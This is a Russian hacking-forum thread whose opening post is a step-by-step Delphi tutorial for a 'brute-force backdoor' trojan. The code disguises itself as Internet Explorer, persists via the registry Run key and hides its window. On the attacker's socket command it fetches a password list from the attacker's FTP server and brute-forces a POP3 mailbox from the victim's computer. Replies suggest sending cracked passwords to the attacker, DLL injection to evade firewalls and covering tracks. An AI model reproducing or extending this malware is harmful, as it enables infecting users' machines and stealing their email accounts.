dolphin | Дата: Пятница, 26.12.2008, 15:55 | Сообщение # 1 |
Администратор
Сообщений: 906
Статус: Offline
| Автор:Kuzya Здорова! Сегодня я расскажу как написать одну “полезную” J программку. Я её решил назвать Brute-force backdoor. Может идея и не новая, но я решил написать данную статью из-за того, что не видел похожих, на неё, статей. Кстати всё только для ознакомления ну и бла-бла-бла в том же роде. Начнём с главной цели этой программы: подбор пароля к указанному, программе, ящику. Тебе, наверное, уже приходилось пользоваться брутом для подбора пароля к e-mail’ам или ftp-серверам. Принцип программы основан, в первую очередь, на безопасности атакующего и освобождения времени, которое может потребоваться для подбора пароля к ящику. Наша прога будет действовать следующим образом: инфицировав машину пользователя, она будет ждать от хозяина команды на закачку словаря с паролями и команды для начала подбора пароля. Таким образом, брут производится с машины заражённого юзера – это скроет тебя, уменьшит расход трафика и освободит тебя от лишней мороки. ВНИМАНИЕ!!! Здесь я не буду описывать полную рабочую версию программы, здесь я опишу основной скелет, я просто хочу чтоб юные кул-хацкеры хоть немного поработали мозгами и отшлифовали прогу до блеска сами. Итак, начнём. Нам понадобится Delphi (я писал это на Delphi 6) и любой фтп-сервер. Начни новый проект, и размести на форме следующие компоненты – NMFTP(находится на закладке FastNet) и ServerSocket(закладка internet).Так-же размести вторую форму и назови её BruteForm. Затем зайди в свойства проекта (Project => Options) и в закладке Forms найди 2 списка - Auto-create forms и Available forms, в первом списке будут твои две формы(Form1 и BruteForm), тебе надо перенести обе формы в список Available forms. Имена компонентов не меняй, оставь как есть – NMFTP1 и ServerSocket1. Свойство port, у ServerSocket1, поставь какое нужно тебе – это порт на котором будет висеть бэк-дор. Затем у компонента NMFTP1 измени все свойства (port, address(если надо то и проксик вбей)) на свойства которые нужны для подключения к твоему ftp-серверу(очень желательно чтоб он находился на каком ни будь бесплатном хостере). Сначала напишем само ядро бэк-дора: Добавь в используемые модули (В редакторе исходного кода, после надписи uses идут используемые модули) модуль Registry (Он понадобится нам для записи бэк-дора в реестре для автозагрузки). Далее создай обработчик OnCreate главной формы. И между begin и end впиши следующие строки: Code Application.Title:='MS Internet Explorer';
// Назначается заголовок любых окон появившихся от твоего бэк-дора
// Вдруг возникнет какая ни будь ошибка и Юзер увидит заголовок Project1
// или что-то типа того.
// Тогда он что ни будь заподозрит, а вот заголовок MS Internet Explorer
// Ничем не насторожит J
// Затем прописываемся в реестре:
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
// Пишемся в папке ‘Run services’, имя ключа MSIE, далее следует расположение //файла
RegIni.WriteString('RunServices', 'MSIE', Application.ExeName);
RegIni.Free;
// Делаем сокет активным
ServerSocket1.Active:=true; Если попробуешь собрать сейчас, то у тебя ничего не получится, чтоб всё работало надо объявить переменную RegIni типа TRegIniFile, для этого напиши над begin следующие строчки: Code var
RegIni:TRegIniFile; Затем у ServerSocket1 создай обработчик события OnClientRead и над begin и end напиши: Code var
command:String; // обьявляем переменную command строкового типа
Затем между begin и end напиши следующий код:
// Указываем что переменная command это текст полученный из сокетов.
command:=Socket.ReceiveText;
// Указываем что делать если пришёл текст upload
if command='upload' then
begin
// Компонент NMFTP1 пытается соединится с сервером
// который ему указал ты
// кстати! Вот тут и может вылезти ошибка (если ты не правильно указал адрес
// или произошёл сбой при подключнии) но ведь Юзер увидит что это ошибка
// вызвана MS Internet Explorer J и мало чего заподозрит J
NMFTP1.Connect;
// Если компонент NMFTP1 подключился то
if NMFTP1.Connected then
begin
// закачиваем файл dictionary.txt(файл с паролями) из корня фтп-сервера
// и сохраняем его под тем же именем под каким и скачали
// Первый параметр – это имя скачиваемого файла, а второй параметр указывает
// Под каким именем сохранить скаченный файл
// Сохранение происходит в той же папке где лежит трой
NMFTP1.Download('dictionary.txt','dictionary.txt');
end;
end;
// Если пришло слово brute то активировать форму BruteForm
if command='brute' then
begin
// собственно, активируется форма BruteForm
Application.CreateForm(TBruteForm, BruteForm);
end; Можно было бы вписать код брута в этот - же unit но мне это не понравилось из-за большого кол-ва кода, у каждой формы есть свой unit и ИМХО так легче работать т.к. нет возьни с гигантскими кусками кода. Затем переключись на форму BruteForm, на ней размести компонент idPOP3 (закладка indy clients), назови его idPOP и создай обработчик события OnCreate для BruteForm. В обработчике события, перед begin напиши следующий код: Code Var
// Создаём переменную PassStrings типа TStrings;
PassStrings:TStrings;
// Создаём переменную j числового типа.
j:Integer;
Между Begin и End; пишем:
PassStrings:=TStringList.Create;
Try
// Пытаемся загрузить файл dictionary.txt
PassStrings.LoadFromFile('dictionary.txt');
Except
// если файл загрузить не удалось то останавливаем работу программы
exit;
// ВНИМАНИЕ!!! Оператор exit не закрывает прогу, а просто останавливает её //работу!!!
end;
// Начинаем цикл от 0 до кол-ва строк в словаре - 1
for j:=0 to PassStrings.Count-1 do
begin
//Присваиваем пароль из строки с номером j
IdPOP.Password := PassStrings.Strings[j];
Try
//Пытаемся коннектится
IdPOP.Connect
Except
// Если соединится не удалось (не правильный пароль) то ничего не делаем,
// Цикл повторяется пытаясь зайти под следующим, в файле, паролем
end;
// Если коннект удался (пароль подобран)
if IdPOP.Connected then
begin
///////////////////////////////////////////////////////////////////
// Тут пишите свой код с помощью которого вам с
ообщится что пароль подобран///
////////////////////////////////////////////////////////////////////
// Отключаемся
IdPOP.Disconnect;
// Останавливаем программу
exit;
end;
end; Для того чтобы окно программы было невидимо зайди в Project>View Source Откроется окно редактирования кода, сам код должен выглядеть следующим образом: Code var
WhEvent:THandle;
begin
Application.Initialize;
ShowWindow(Application.Handle, SW_HIDE);
Form1:=TForm1.Create(nil);
Application.Run;
WhEvent:=CreateEvent(nil, true, false, 'et');
while (true) do
begin
WaitForSingleObject(WhEvent,1000);
Application.ProcessMessages;
end;
end. Чтобы скомпилить прогу не запуская её просто нажми ctrl+f9 и экзэшник соберётся не запускаясь. Теперь давай напишем клиент к нашей пакости J. Создай новый проект, размести на нём компоненты ClientSocket1, Edit1, Button1 и Button2. В свойстве port – напиши порт твоего бэкдора. Caption у кнопки1 замени на upload, а у второй на brute. Теперь нам надо всего-лишь создать обработчики событий OnClick – для первой кнопки(upload) и для второй (drute) В OnClick первой кнопки напиши: Code // Указываем IP жертвы(IP вводим в поле Edit1)
ClientSocket1.host:=Edit1.Text;
ClientSocket1.Active:=true;
// Отправляем команду upload
ClientSocket1.SendReceiveText(‘upload’); Тоже самое пишем в OnClick второй кнопки, только команда brute , а не upload. Вот вообщем и всё что я хотел тебе сегодня рассказать, программа имеет множество недоработок и неудобств (например то что подбирать можно только к прописанному, в проге, ящику) но если поломать голову то можно всё подправить и переделать и под ftp брут и под imap и т.д. Удачи! Если что не понятно все вопросы задавать на нашем форуме http://inattack.ru/forum/viewforum.php?f=32
Система: Windows 10 x64, Kali Linux Среды программирования: Delphi 7, Delphi 10.x
Я не профессионал, я всего лишь любитель Я не вредитель, я всего лишь теоретик
|
|
| |
BioHEX | Дата: Воскресенье, 08.08.2010, 20:24 | Сообщение # 2 |
Был не раз
Зарегистрирован: 27.07.2010
Группа: Пользователи
Сообщений: 17
Статус: Offline
| Я бы немного другой алгоритм выбрал: 1. Определить состояния подключения интернета. 2. Если подключен автоматом скачать словарик, начать перебор с возможностью продолжения (на случай если юзер оборвет коннект). Это избавит нас от проблемы с определением IP-адреса жертвы (нет ни чего хуже динамического IP-адреса ), т.к. нам не предется подключатся к жертве. 3. Как только пароль будет сбручен отправить его себе на мыло или на гейт, что предпочтительней. 4. Убрать за собой. Для обхода фаервола можно оформить код в виде DLL и провести DLL-inject.
|
|
| |
skript | Дата: Суббота, 29.01.2011, 17:40 | Сообщение # 3 |
Группа: Удаленные
| BioHEX, а по подробней можешь расказать про обход фаера?
|
|
| |
BROVAR | Дата: Вторник, 03.05.2011, 04:18 | Сообщение # 4 |
Был не раз
Зарегистрирован: 03.05.2011
Группа: Пользователи
Сообщений: 9
Статус: Offline
| Обход фаера созданный по принципу подключения клиента к серверу никак не реализовать по сути. Для сего лучшие способа: 1.Сервер ищет клиента. 2.Клиент-сервер работает через вспомагательный сервер. В таком случае файервол не реагирует по причине того, что по сути операции исходят, а не входят. В ближайшее время напишу исходничек обоих видов - скину на форум.
Абара!
|
|
| |